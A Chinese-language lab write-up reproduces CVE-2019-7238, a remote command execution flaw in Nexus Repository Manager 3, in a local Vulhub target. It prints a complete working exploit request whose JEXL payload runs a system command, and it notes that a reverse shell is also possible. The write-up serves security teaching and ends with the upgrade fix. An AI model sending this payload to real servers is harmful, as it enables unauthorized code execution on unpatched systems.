Nexus Repository Manager 3 远程命令执行漏洞 CVE-2019-7238 漏洞复现
1.实验目的
1、能成功搭建漏洞测试与测试工具所需的运行环境
2、能成功利用漏洞原理测试复现漏洞
2.覆盖知识点
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。 其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。
影响版本
3.14.0及之前版本
漏洞原理
存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。
3.实验环境与操作
实验环境
1、VMware Workstation 16
2、Ubuntu 20.4(靶场安装环境)
IP:192.168.32.135
3、kali Linux (攻击机)
IP:192.168.32.128
4、Vulhub靶场
5、Burp Suite
漏洞复现
启动Ubuntu的vulhub对应镜像
进入CVE-2019-7238环境地址
cd vulhub/nexus/CVE-2019-7238
拉取并启动环境
docker-compose up -d
查看环境运行状态
docker-compose ps
启动环境后,访问对应的web网页。
http://192.168.32.135:8081
使用账号密码登录后台,然后在maven-release下上传一个jar包。
账号密码为admin;admin123.
进入upload中随意上传.jar包并开启代理打开burpsuite工具进行抓取,抓取到响应数据包后将它发送至repeater模块中进行伪造数据包工作
使用Nexus Repository Manager 3 远程命令执行漏洞链接提供的指令,将请求的数据包进行替换并发送
POST /service/extdirect HTTP/1.1
Host: localhost #本处写自己的靶机地址以及对应的8081端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: /
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 368
Connection: close
{“action”:“coreui_Component”,“method”:“previewAssets”,“data”:[{“page”:1,“start”:0,“limit”:50,“sort”:[{“property”:“name”,“direction”:“ASC”}],“filter”:
[{“property”:“repositoryName”,“value”:“*”},{“property”:“expression”,“value”:“233.class.forName(‘java.lang.Runtime’).getRuntime().exec(‘touch /tmp/success’)”},{“property”:“type”,“value”:“jexl”}]}],“type”:“rpc”,“tid”:8}
我们打开Ubuntu靶机下对应的目录进行查看
查看指令为
docker exec -it CVE-2019-7238对应的ID bin/bash
cd tmp
ls -al
可以看到我们就已经将漏洞复现成功了。
思考总结
该漏洞是由于代码中基于OrientDB自定义函数的任意JEXL表达式执行功能,所以我们可以通过构造一个.jar包将请求拦截到burpsuite中并构造payload来实现一个代码注入,当然我们可攻击的方面不止于此还可以将靶机反弹shell等恶意的攻击行为。
修复手段
将Nexus Repository Manager OSS/Pro升级到3.15.0及之后的版本。